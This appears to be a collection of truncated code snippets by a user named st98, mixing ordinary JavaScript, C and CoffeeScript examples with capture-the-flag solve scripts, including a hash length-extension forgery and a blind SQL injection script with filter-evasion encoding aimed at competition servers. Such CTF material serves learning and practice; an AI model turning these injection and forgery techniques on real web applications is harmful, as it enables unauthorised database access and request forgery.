st98

// gcc -O3 solve.c -o solve
#include <stdio.h>
int sBox[4][16] = {
  { 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9 },
  { 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6 },
  { 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14 },
  { 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3 }
};
int sBoxInv[4][16] = {
  { 13, 3, 0, 10, 2, 9, 7, 4, 8, 15, 5, 6, 1, 12, 14, 11 },

st98

import time
import hashpumpy # https://github.com/bwall/HashPump
import requests
from urllib.parse import quote
url = 'http://web.angstromctf.com:1340/'
t = hex(int(time.time()))[2:]
hash, data = hashpumpy.hashpump('3eb9feb38c75cae1d4526ba7f7b91393b190ef48d5bd3502711a1fc23cba2ff3', '5709b5ed', t, 64)
print(requests.post(url, data={
  'data': quote(hash.encode() + data).replace('%80', '%C2%80')
}).content.decode('ascii'))

st98

import requests

def check(s):
  return b'1108' in s

payload = "1 Procedure Analyse (Extractvalue (0, case when (Select substr(c.b, {}, 1) <= 0x{:02x} From (Select 0x41 a,0x42 b Union Select * From users limit 1 offset 3)c) then 0x2f else 0x40 end), 1)#".replace(' ', '%a0').replace('#', '%23')
url = 'http://spacesec.quals.nuitduhack.com/index.php?offset='

result = ''
i = 1

st98

['2 1 14 16 23 20', '2 1 15 6 4 23', '2 1 15 6 8 6'].forEach(function (s) {
  console.log(parseInt(s.split(' ').map(function (n) {
    return parseInt(n, 10).toString(25);
  }).join(''), 25));
});

st98

Notification.requestPermission(function callback(res) {
  if (res === 'denied' || res === 'default') {
    console.error('ア');
    return;
  }
  window.setTimeout(function () {
    new Notification('title', {body: 'body'});
  }, 3000);
});

st98

javascript:location.href=location.href.match(/(.+?)(?::[0-9A-Za-z]+)?$/)[1]+':orig';

st98

if (!(String.prototype.startsWith)) {
  String.prototype.startsWith = function (s) {
    return this.slice(0, s.length) === s;
  };
}
function output(url) {
  var out = document.getElementById('output');
  var img = new Image();
  img.src = url;
  img.addEventListener('load', function () {

st98

/わかば*ガール/.test('わかばばばばガール')

st98

// gcc -masm=intel rep_stosd.c -o a
#include <stdio.h>
char s[16] = "Hello, world!";
int main(void) {
  printf("[+] %s\n", s);
  asm volatile(
    "mov eax, 0x44434241;"
    "mov ecx, 0x2;"
    "lea edi, [s];"
    "rep stosd"

st98

class Complex
  constructor: (re=0, im=0) ->
    if not(this instanceof Complex)
      return new Complex re, im
    this.re = re
    this.im = im
  conjugate: (other) ->
    new Complex @re, -@im
  add: (other) ->
    [re, im] = [@re + other.re, @im + other.im]